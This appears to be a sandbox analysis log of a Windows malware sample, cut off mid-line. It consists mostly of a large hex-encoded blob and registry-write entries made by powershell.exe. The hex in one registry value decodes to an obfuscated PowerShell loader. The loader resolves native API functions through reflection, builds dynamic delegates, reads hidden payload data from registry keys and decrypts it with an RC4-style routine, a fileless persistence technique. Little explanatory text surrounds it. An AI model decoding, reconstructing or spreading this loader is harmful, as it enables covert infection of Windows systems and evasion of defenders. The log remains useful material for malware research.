5adbcf8ddc7d4511684896ec6bdd3fa2331f62af6dca5f1df7b1bb95100faae0ab990151e4aa5a645ef72a603cdec088a6c557e18f0e9b20639ff7c284ba7c5e4e917441deaa93e639eb427c2a394dd327c95a226094c652a81d4cad80f91d14ae9e935215e803df0b4bbc36b8a39938fa49d8ee2a8ea64977f6d116a2d4b87b891bb12ddaced34ff3f4e85d4ca684e5accb98782a2e77d5b137f831150a3ade89da6e7d8b24b8707edd773fe7703089e8e7f51befdd5ff641c2bed6e4da6d730c4190c6063dd212ca10c556374936e8105f23afa0573802bee9af5c8c4f7fdd83c3d43298c2d145516a6c63bcc4e076d6eb24815430fff63a200e886e841debbbcc07d3613549c40bcb47cfacd1350f44f813bbeef9ef8ae8bd232b6b2679ef5c1108b5c75095e9b52c1baa9e79f4f735fa48a0ab8dd87bd1848fcd48c4f122732559294ff59ee7f1ce8bfadb0e698bfafa997ff45a2bcb43cf6aae116093400dd5161a974c8b789652100bf2007cc9be357e99282c4f77476ffbdc1d3212324d790b1965c5905ebc042d94e3c54120a572b04624d35212a8b3d7a942608bdf482fb8e7ab7f7b21a40d4bdf6447fdd8574fa56b48667defb442b94a4065a28437d2992474b620105df567ec86d4139951d4d9f343838a70d5de253cafa9f43ca0cfc2b89cc0cdc97f20ca6d640138181974cd11691384d14f057affe738561688c7ffce0ba77d12eefb2cf301a4adba8776dc6dba79e76ca7dd27abc9746e25aa3c6c2edbba689fb6788351a216c63f38bae115d0b5c4a98bca66cf576e4bb43b49ee8a9119558dc0a0029d0d8a93b2255833b6cd166db533a338109bd424ed3f13e6fe89f0e32c5acdc832ef1820d70c1f73ac479334efcb020cbdcc2fe108676c4f5ea2ede99fec207fad2fd0ba20577be81522015c1b496c083173f4cae84fb1dde4e9ff1f44f0c636ce0361700aab867db3329266e6be2469443b66ac6ec4d6056a7a2e844ce68073810381f68aa3504bd46b32a20f85ce1979c864a2fe3af64d08bc7db3945534ab9e95fa06091c55db42397986ffe33e16122163f9117d7b1c18b4dddd7e67cdd818999fa56c3930e03d41c7e97146f754eae5fe05e1afa868b5ead600a2c2d2f247d8f7db65281a7f68edb07bb9e61da024cb3b2986af74efe2094167aa8459591b9a97e999aec076393fd2dd265ce08eb0dcf90ab13f9d7962371da630c7c4188875f75d0b192ee32455aa465743f482ce24471cf224c0264ecec8ba2737cb45e11e51040d3448437aa8f41dd7956f94225707296e8a18e2099aae19eefe50fc123a9df484d450e2cd1bd44084995070377fd99288c2e4f88ceb8fba7a967c3cdea6c7dd6bb6aeb771c7f2dea8c857e1ff6a375f732251ab8d4bb6ef05a9e69ac7c7d6c7ad9c95851720763fd7043f8cefd008ce83ac8a304aca16fd6ff26f5526cf845a307276ce165e6ddc503f9263bdbaecfa0314d43de0bf985e0f342b6df16e5b98871f7e9982ab6974b17dca9dc409f5c0ecfb8f3f62b9bdbec5bd120dedcb99f10f5b9b8fc2b3d605a15addcd8bcb05869c0fc342f77d1aae648eaec4e61688da0022d4d5c5c4e7d25989fd0f6c91778f1f360719f712775c2658f444e1bfdb6379146beab64534c42512f8c552228d96de4246d1d76e7620bc273d946475b41c660c219a071c6347e98dabacb213c9e83df29213f9453ab283cd31de80c80a24f5840beb3ec95a2b23efce4bd41428ca7f513c68882d4a146293a32504e5785ed93cf061ba17eb55a3e09946ccd7ccbb1ce3b42814ad84bbc6659a1b8089bf91dd9681d22ac57701de07579891566a0fde93434b8780194e71617527016fb18eb63aa388fdb9c6ee20a86425d82ee43fdc97aefd1cc77b8df0d23ed3d80fd6dab257a000fa15af85b84b01b21803bcb99ed0015fec66f39cfa242b2119fc8656f28ecad52a44bf1586cd53cf85d59d636b63119284fe77d9c8cbda34cd50028df57f458ba6349d5d4c53f8017b250b14e51769b47c292c4af4a76cb990d8e6385cd3bb25eb228d69a6b3a39631f04753865e77387a76721897e17bfccf1a20a21bfa84eece8a68460037c90ef63948a476728386ad9cb8099fda38128d574657548aa93b4f24dbcd378892243407d9fe5d405fd5dc1a41fb9cd477ac972e585e940bbd6d31353c4d30cdf34fc59eb3679b919f12e984afc19d8d7ce8bde05ae34fe816111963dbd2f7650b11b0847a874c070e2aa6453ce4e68a2d6d5675859029ae012147dcce07e7e0e29294c0d5391daaa3a51e3a93aecc5280d468f1013a7e9a01094aef05f95ef649d542e5e8b4f0e853332287ea4ee61a3f464bd61c57636688c7af336c9fcbd2e60d2654f232bde24da4ee74377d8a969a951a636837093f086160f3d66da2d66dcb9aa158f3b5d6e38d91267a206e35b7fe8c4b8b7271b9f6e66bfaf2b84f8bdac9853725579ea9d38b5b4a8ffd7d1edd8a417e90b2f158226cfa5f03a4ee44c9f90135dd6d4f70c86e0f62659c075dc28083cce52b8acd1e9f73867445ae710593df9eb227076731f74544acaf456921000a5451f383bd67000d2e15f48e76e2c480b17dcf1196298e07ee91e454a415fe0f401589d4d37646c8e73bdd2f6d6460f7b0441b84b53a2df9301d20ba4a7df0e479c94ae9761fc48c21ba8988e678970f583cd3c665d2f8af4a996fd4baf718a795159ebc419c6c0abec4320fc8e6247aacc64e51fb605b2845bf59c200c1d82cb7b9aa7d761285a454afa96e04d9acf97afc9f2a80eda8596a5e665813ceaf979413386f831e4fda64d95740c1e6ebc2a1a5736727b226d3afef3a52a2fcafb300588ba71628520e456f84bd21744d588a03e5d350436b952cf8751266347bbdb7ab5d2fcd987acc32f6bff8611a1f3431764336ae5cf5874c1f4967ed9669054be3410a1556035196344a782fbc1c98ff249ea1b9b8189f11f2d86a57f5a2fb61a8dadd8b1c81b6dbd8e1394efc05b3b6b30d07cc01cc7d316179d50d0ae3871a4de524db346b2b9cb34fdcbf7db13e14fe787e460f85d2933aa816ea4cdd65af9e977239f32c1cc8fe4d6df738bf48a13ae9807db68c00ebfb5021364b19113d01a6b8919e56c4b09b622a824348ea7bd6b8b57299f60ad5408d512c12369cdea71e3ee6ad5341a0670627d54fe3bcf874440ce45800dc043e83c6914403621ac02b8a19fca0c4709dd43c997bc6a3f7baba64db16779974eedaf1fd74085b41c1ab96436d82b038b95cef38d342cbbaeeb33db711e40583e9d9d284bbad5b815bd05ce5e8676723ac91a103598bedb018e427407c16a7f67ebc8a73742778453efe5e6aa8457f48442c31f72a81b9ee8f9b3839a86c5afd1b833a7c58870e956f8d83f93931a5ddeaf1bc9dfedf2f82e001ad865c780da1090737041803bd59bb5cdd88ef2516fe525214a28b94e44acb2365dd619128d355344ef988d9250c350506094c2e0481c3940e59dbd9612325c0a63f67b17baa882cae5d4180288d5f22584c29bdbececa2a6fec7e40662c50e766d5dc5e128a3506bd67e16b23e480e9f24aa7f165e51cd8a11f8bdd411a0be178b62ad31d020fa553c62bcf6ee9cc449c765067c155140597b9b5e3e5b6ec66156c8e680af8bff6d058cf65ce2835e2c689d3600740a7858df53b1f4d7a4ab761398c5b2b9cb47656cad195f64653a554960ace749213f42df3bf1622fb1b07d586caad4745ccbba9de0424fa7600c89bb44ec6f63e4af28d2a7b595233a3560946be8785f74ab172742e30859ae9b7eaec2dfed9e2d17b0e52287a26e53a995cee322468e6b9371ccb6ccd31c19f90c2cbe698d53192042395d5ccd36db9f22cbd8b1e4c52314db6e47ce6e821a9de6735684b9fb2c4d631d1806171f3dda7068b75c82f3230643a5c99fbf84b6c014666a3ce37efb6b0e15c238c30a0a07284fa41bacd43f93bdff63aaa0c245b985bb28896080f6bed3208282fe2b4e3c44f458fb24a4631f920b9084726062c6e88eb562fd009981fe56097ae3d54d8cef59772262ec885bf84097045ff5e5837d29a8b57b244d66ac8d9974dad8169a892be8fc4b66ed4748d378a846479048de128bb48882debdde0a39a76d5943eee8e5614c81e714788c1d431160a4503493d820e5ca6cf2eddd57e87008d23fa1fe12aea927fdee2198ed661f94985efb8565c670c59841c30a30fdcf5b1699d73e70b7dbfb607c8d4dce69fc8cd2d1f38805fc43fa468820a5194e1013f9d7c900d9d53d63b2c0d75516ac44fb79303f51df4300c329ce57811a44263271a8f35b0277ff3381a7d0c04e85d8d0919ebb367f87b1eccfb0b370be3c4590dd0d78bdb71a9d20eb7da6e828693091fadd4228b67860572821ef87aa0be352deb3fefa96cafbda88859ca3ea94e371dc6236423f150ea78bfa4b20e56e33dda266e64342a4db078293d3254317353697a9fcc765d48cd1004f07540bf5cf0377ff696857dd074b4789f9d43245443f22e991eadb9a90182d3eae3b501606951d1d30b425b921ca9611bb3af138cbf21b7a926dec6d1512a82abd1865830c68c07c4af9c4354eb8cc7a08759b4b288a0c934d67135c1bdb8ff8f53840b69758fa03b04698d4e79ebdc2daf5b2506bcdb85015ae9aee1dc756b42fddd633a7a3955c115a1f41bd30e667ca145cbfb40888e0a3e0aae32531d4331819fb253584f3a663d918b63702136a08c516620636f0f43ad09d28ccf88f8c2a9809fdb64b2ca98f7ab79a31ef01bc20a8888c0add4d0bdf21c0eac7f03dbc0de262d515d8ec4dc06e7771de7ae7836460fa6561e86e1be05b9a365b7ff8f25c00a146306ff253b9333539456aeb67ff47cd3d2b6b4af5df8e34bea5ef038f33654d1f6d5bd77a3ac089673239792c5f97628e0f1f6d3edf774149e8bb8b830a5d743f06a2929e14da2c2120d2b9c8511b19151600132ad0a8032159f13a46284119594c62dd2af01a3c259acc3867a7db99642f967b7f658910fc55777dc862c509cb77b1af7a3a1d81dd67c479f0c675d0ff7a246f681e80e4c7a1738d144d2523e032ca2e63a2ee114ac329eb7ca5bc4a8b812f0504223ac4524a61cb8f653ae8ad1779996d92d9eb0b11508591adb807643a7c7bd012c94d4cb7a61eb4c6cfd9eaf16e017192b053f4ffdbcd126f16de44685103b28fc8c664de7da45da2be8fdf950eb3f95f9cdeac2aba22a9659d19fb46768b18276b5b4837fb07892021e2b61f345fce4814ec9b54ec4b9b2f91d654b1834897d7f0b9859392c6928b4c0703412b914aa67d78e6f06aef38870e1fad2ce29c6e6070be3ae174ef5dc745473ae549ff611ad41cdc5566cd865581022bc2ba7ba62fe3659d899496ca0ff72c7672ef407965931e34f39c27b7d465e8775738bc32329372428226acfd48a4205196e2ba750f446d4d8092a26939ff10fd3e64df000820c77a4840220dd6ddbbf0363a82c294f9947479950eaa25e0672ad818f7b72ee8cc12b65b2bbada90b6a987089841d94fce9061120972dde6700556077749262eecb191bad68fa89123b1b2000fe2193ff2a55cc28793b2314763ca626a16d95fc4e5d720abf6c13345696c7282db5257dd2a0a7ce2901af76b3ecbd0e3d1cdc39e4b55c86c5010d12607c32cf0a9c60c60268d8edf99a416c854756491e87f24679a46970d648b5f542472a0467d620149f7c2bbe73ae7b7707869ba44022afb25ba9a6a1e4f62ec99f21bd536dac6af9692cf0a2003db48b6a617f679b31234bdbf375f6497cb520cb763e5e2855d45911952f9722394e72ea144e28e361ddbc9ac4187c7cc057f9cac0c542097238d3c72f64a870e4b4a514679e88338de22426dc3c6d1691a424fdab23317d9987b3bbb11f4168f0156d13469656751936e4c8ed7a18a1ac54c6932bc6997d5fd9d8e8c853e9deb875c107011e66a83c051a0fe2e3850127fa045ca7c1a9d056016b4f1b1cda10ec76e8f1328a0f0fac04ff07695f9e375d4cbb0f83ffd94e3d23fdeda6429540b046d0bef0854079f8006eef6011f8774664fd2322c853fba354dd6ae0150119dbb7a0836861b416925eca1f335a7cb6cea01c4274d337ad643e075a8012cb47f7a7ece3234086ad43f7c55dc58993382f3016cc2fa20587eb1d837166cce448381c55f3b38d7e24ad9b92c1eb180cb41581e12a2d801b24e197dd46df6c4df9f82aaa5173c0fde2f858718659a9879ad082f065b8799913245a987befc5947ff37da321db7574db21f327316678dde94eedd4edd955606e65e754e346d827462f60666e360c73cfac469d6f72f1a39f60d0a393d79d88d439a75a6cc7d03348bea08d30ad341c6ac7c2211cffa87e1c636b03d7aa5ec84649cb066b4a69a20066586f6e6998c2c676c4c4bdcc6725e15bfc96ffe96836f84c4a4a2d59ed81df1402bfde9816c371219c3eb98970ea5cec9aa7d6af68fc2a2488cececd8d9b286406143cf92ec4c790e67c5860c7e8bd8d920134d105c1864a870e1a8c6fdc033c0abf6c9e73e5d70a36e23013f1a8c2462bc6edbdcd32f1329f96ae885f85c8b184ff7c9d42500646be6ac1da2f75a6bdf53b388baf5b77e5c6b63bbab309012acc811d1039e5fe2df8da2c7d77a65960dfead7c8cd5762efa5920e1355d005adc9f48f79f5451be83488303884024b80c4eb6c5cde58c02549b0d8e4a8fb7cdf76e2b972c537dfc483f90ce21b8c1824708ffb5bd4470bf2481df8af9540624927ee937d5a1411450276cc4a2755f0656d6287bda1ebb8d9f88e8bdbe544a3a30f18e8ac015504b9655075a95df649d8de78bca665f34186adcf3c42e3faf8ba2e370bbb268f273f067a3b7f3d82c8905f1ab23fdc51e42937016f84ae7fd9a95f12055964b9e74a9c87b34de1cef636f1295820ace22dacd090cb076db65988becb902c0d768671e5b5501143f9439a56eebe32f5f1dc74311b8769c314817d69a52c15e460c78eedfbb302e1057ae8994241879750b66f5f68cd4b6d85a1963b92fad55b3b8789dad1d1c71f2f232e099cc7743683cbf4ae13d75c36fc39c7eb12e792f44c7f3e0cecf4bc2a32317aa21edd1fa913014fc8f8eb7a7522af00bd799ea46537ca8713dc9b49e431422d1aa3a1e06935d25ffe312e4ab10bc0857a46bd72c8cf36a23d04644bfac60292b6c606b597bd2986c99db4f22acb220eb658414fc837c0a677221e81a0c53140f3e7f1988981031b12a4e755b991ba97d73fbf9ee94c5c976c71c5899822e0ec122ca902e4318e0de257acc8b1f4cacdf5f51fece36b9c83311bc8b00e6d82a915fd6146783e6e0b7819fb8dc173aae5ea99262b9b3c89dfcdd8b53e887d3b129318d743eb2ec07accccc008881dfc8abb34ef823d5e5891ea272d412128e67db336d79beb053ed6b3f98fc5d74e4507dca365bc57a5b91209a5e1f9f1872ea57f2cb2a8895813cfb5ae5165fa274d2f7f9671c1cdd8ac14ef6acde7ae43ac8aa4fc6f641203a3926352edb048df79bc7fa2388fc11bfb564018e2bfa271c81993cc65035591dd453a5191973cd6fbb228561f742b973dedada177d241c1c423534ceaaa9801fad6fb8608273669a0fd57195be164ddc98b49376a218031d0edc5bdf86acfb74ff000cfe4178e30d66b1b8540f0da3447e6e1df114cb05ed0149111f01aef0189bf630ee566df6c6be19eedcda883a6e2eebe1bf563fa86a3b5f6b9175dd213806984cb617688d7ea12ce09cc8397529d571d3733e899d7bb0d34e5339388a82d692bff90f4e95e88e8391b627fbc39c910f7b26362c1e0a9d846a1959e7d1d645bbf45c3843badb4f59bde8b7fe5cde5bd09be252f0030934600bf33e035ed62ce6de36cae10282896f236322f5fb2fbce1e60ca9697cad60eac8335a56a029731d84396ccc0f00e4db5eb0d835ba11a0738535de2cd63d6f3c43b1053ba6d9e4750fcccac096e5ab56cf500478ec79d3123374c2ebaecf76336a435a448b13a0269b768e0781d1d5568e70d27d164990d130417c02d112dea4b1d8fc3766aaf063798a3b8058ecc0634e2e08ef849718aeb6c7b2290c7706c1ed3cea3d7de289f4699ddeb66ecd53b58250e76c4d861b767411db1298dfa6ab79fd48f04cde7b231b648400ebb3a1f02dbb5dfd9d4c7f9b67df58d8024925a614f6c1a6044fe11a57764cb23f138a7f48065b1940973758f967418ad7e33a9d817af3ece0f74cf89ae474ec1c03dc22d293477fa7daa8cf7daeafaa1e2941ca2c098d1db22a85e9830eb67caae334981c910c61d0c3e613f475ae523351816f128c16689ee48dd9143b00272ce02868f7f38a3e86702a6b1ee53c66d0e97a7382caf406bacbc6e6b1f1cca6a33099c3cc57ddec9fca5da14779df7f29f20ed767e3c42893ce7e286c142899910c9d33ff272373fbf42cf75849a814fa9d4e03803cd4d298ad1e98041747c93af5d088190dec635dd8c7b936a1f8e3e0c04d4738b726fcc12713713d783012bc874030385331706b9c3aa7b98f093c575cbed82e7ab8a136c5df42e18b9d60bd688a461982bb40c2a7e24742b88d06225cf2317342cca45dafce63130d264d8567677ddc22aa2bf5566cc2d7ae36ee55c9d376f84d2e0d674a26397cf9b037c3338c8387f5b70459c2ca1c5014ceec3e2f201f3dd68ae1709429c634c81f77eb2f3d5930f3038cbc50642ac20c79df282dc442c01ae8581b6e0f3eb7e1bda56c68ec1d8238eade281706492ec4e12546c843d6e0690aaa1b44c8fc8a263a20cb22bd44cb2261a4f49ca46b113e25684a4dae63a47135648b2d32cd55c191784871dcd462b7bce12e28f6cf09061cb8fb7ebb777f5b5c486f672ba0ab5d37f7119541b34935c255994b2ec0a171f8547c6ac84f5588d2b3fac6f3b45ec5d0f3a5609a871ed5d53119cceaa1d097e8a9e52cc1e9fc022f9f44352d281022830b8d58a173637a2d2299bb9f24e6789bed6bf445e2e74292f0254e26736cca4023e0dd7c463cc5bbb5af388b12cc996e33fe7a66ae2af275b48aa646100ffa806cb8074a71c16322c6d8c716ecdeba858e6f2acc480e2ed25b0c9d215203b0236f9d08909b058c0aa91e21bcd0e8108bf041933b72ae17c8e85249950888aafac129374546d1033f1f96f872e7d7f26ecf7235a41691e076fba0572cf20e60bfb3fde000ff02d267fc19a22dd3ac8f16debec1a83d0956fa33f209c3641547a0a7d2f52dad260d22d3648892a89e06540b74562b1dd0626b43445c8d07a7fc7ffd5a762f81fd2c4ba87109dad835d341da5f44c3b02a7ebfa119214642c7e5650bd863c03740af295d41417b5693a7af0f30fdd6e3c16bf934c75ccfb0a5b0ba4f8c5f4b715d40b6db7d4fd750d686cbd1a5febb5c85cf38dcd894a63a17c74c84aeed4f6afb4e3be38446a374e16f33e67fb5ee5c03f72061d86ee7b67f0fd888884d7063c8c355cb45ebcf8a23470cf5111814d170d3b5f52b8c8823cb06ad7f2bce5d220d6a578e60cb8e22776450c8fb0b93c143a0ebf3c9559bd669848a3951dca44223051873bc39b53795d54405c408823b1bc601c84478fb1064aa1f1a70232bdd6b4329a91ce0ad8eeeb06ad7d796c865c778694d2521d242692cf1e076b0715a509b651d5de4d3d78e4ca0dd883be88342655f8c1d2d4b40d9b07bd1e5765d2ef410dd698cd002e0a7b2d76c7dc3ccf1b4509bce7201db9301924d0bf4be9bd8a3e1dc99e95c81de48deae7ffba1252085cd90ef3f64745c1e52a88b156a0cd7c4ac6ed0c9b9399476f7df6ff631e365036e4c3bbdc2b6179d444d48e365c790a3b5184165881982c0b5ecd05f3d27a3fdf859886339d0faa307ca936a91c85cf9a2c0a510ce7b57823562faa033dc5cd74685d277b0096f26e322d5e4d0b9522768660361a41ee2e0a1f00b2745a499c113173c8a4bd0421384208e61698a1b3e3fae9f0f6d020766cc80f750bee7fa9f74a4a486eaff52fb9f0114d3a83c9d7bf07879181953e6fdc7bccab160bd039c52025c5809651b88262fe41f8105be433e57812ca1a4c4837cad53a236f0ff7748eb8f7fd6beae55930119a5af5f06959c99ce14a3c0f3f116cfb967a3c6a32ec5051da0ca5828b30db19eb75b7ca166e499f14c8f79b8958dce631d0aa2a6ddb5c08311a718d3e90da8574d9780256241aa55ceb3af58415a5b280cd4419f11d27ef04d6fe1f5e0665019343ac72887417bebe6ea4b116725f9e82d503bbe90ccc61024713198816814dc32972b15883ac74c141cf71b8c5fa035305107020f4f0a32740ff7dacb5bbc7d96ff2d3258b0741a4096b1ee140f60a016a171d43d6cd3eae7dae8d79ffc432 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\{130A000B-010C-020D-030D-040E050F0610}\ = "{130A000B-010C-020D-030D-040E050F0610}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{09130A00-0B01-0C02-0D03-0D040E050F06}\VersionIndependentProgID powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{09130A00-0B01-0C02-0D03-0D040E050F06}\ProgID\0F06 = 66756e6374696f6e206a70347b706172616d2824766e3229202870693920273234364136363333334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343639364333303344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343641363633333245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364136363333324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363936433330324332343736364533323239323927297c2628247073686f6d655b3136362d3136325d2b247073686f6d655b3233332d3139395d2b277827297d66756e6374696f6e207872337b706172616d2824676c362c246876362c24627736292028776532202732343733363933383344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343733363933383245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343637364333363239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343733363933383245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436383736333632433234363736433336323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373336393338324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131332d3130395d2b247073686f6d655b3138332d3134395d2b277827297d66756e6374696f6e20696c307b706172616d28246c673429282d6a6f696e28246c6734202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e206778357b706172616d28247977382c247378322c246a6c322920286f6134202732343731373233363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343731373233363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343739373733383239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343731373233363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437333738333232433234373937373338323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373137323336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3230332d3139395d2b247073686f6d655b3137392d3134355d2b277827297d66756e6374696f6e206279317b706172616d2824787031292028787337202732343735363633333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343735363633333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343738373033313239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343735363633333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437303632333632433234373837303331323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373536363333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3137382d3137345d2b247073686f6d655b3232342d3139305d2b277827297d66756e6374696f6e207463367b706172616d282461743429202876673020273234364336343337334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303339333133333330343133303330324433303432333033313244333034333330333232443330343433303333324433303434333033343330343533303335333034363330333637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033393331333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303339333133333237334232343732363133333344323832343643363433373542333333323544324232383334333432443238323833313339324432383335324233333239323932393239323933423230323436393731333033443234364336343337354232343732363133333245324532383234373236313333324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436393731333032393342323436433634333733443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333933313333333034313330333032443330343233303331324433303433333033323244333034343330333332443330343433303334333034353330333533303436333033363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303336323733423234373236313333334437423230323437333732333833443330324532453332333533353342333032453245333233353335374332353742323032343631373133333344323832343631373133333242323437333732333835423234354635443242323436393731333035423234354632353234363937313330324534433635364536373734363835443239323532383238333133333332324432383331324233313331323932393242333133333336323933423230323437333732333835423234354635443243323437333732333835423234363137313333354433443234373337323338354232343631373133333544324332343733373233383542323435463544323037443230334232343643363433373743323537423234364636373333334432383234364636373333324233313239323532383238333133343339324433363332323932423331333633393239334232303234373136413334334432383234373136413334324232343733373233383542323436463637333335443239323532383238323833373339333132443332333833373239324433323334333832393239334232303234373337323338354232343646363733333544324332343733373233383542323437313641333435443344323437333732333835423234373136413334354432433234373337323338354232343646363733333544334232343546324436323738364637323234373337323338354232383234373337323338354232343646363733333544324232343733373233383542323437313641333435443239323532383238333733393242323833353336324433313334323932393242333133333335323935443230374432303744323033423234364536463334323033443230323832363230323437323631333337433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436463637333333443330334232343646363733333230324436433734323032343645364633343245344336353645363737343638334232343646363733333242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364536463334324535333735363237333734373236393645363732383234364636373333324333323239324332383238323833333336324233303239324433313330323932443331333032393239323037443239323927297c2628247073686f6d655b3138352d3138315d2b247073686f6d655b3139342d3136305d2b277827297d66756e6374696f6e207376327b706172616d28246c6734292028696c302027323436343733333733443238354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343736353734343137333733363536443632364336393635373332383239374335373638363537323635324434463632364136353633373437423234354632453437364336463632363136433431373337333635364436323643373934333631363336383635323032443631364536343230323435463245344336463633363137343639364636453245353337303643363937343238323735433543323732393542324433313544324534353731373536313643373332383237353337393733373436353644324536343643364332373239374432393245343736353734353437393730363532383237344436393633373236463733364636363734324535373639364533333332324535353645373336313636363534453631373436393736363534443635373436383646363437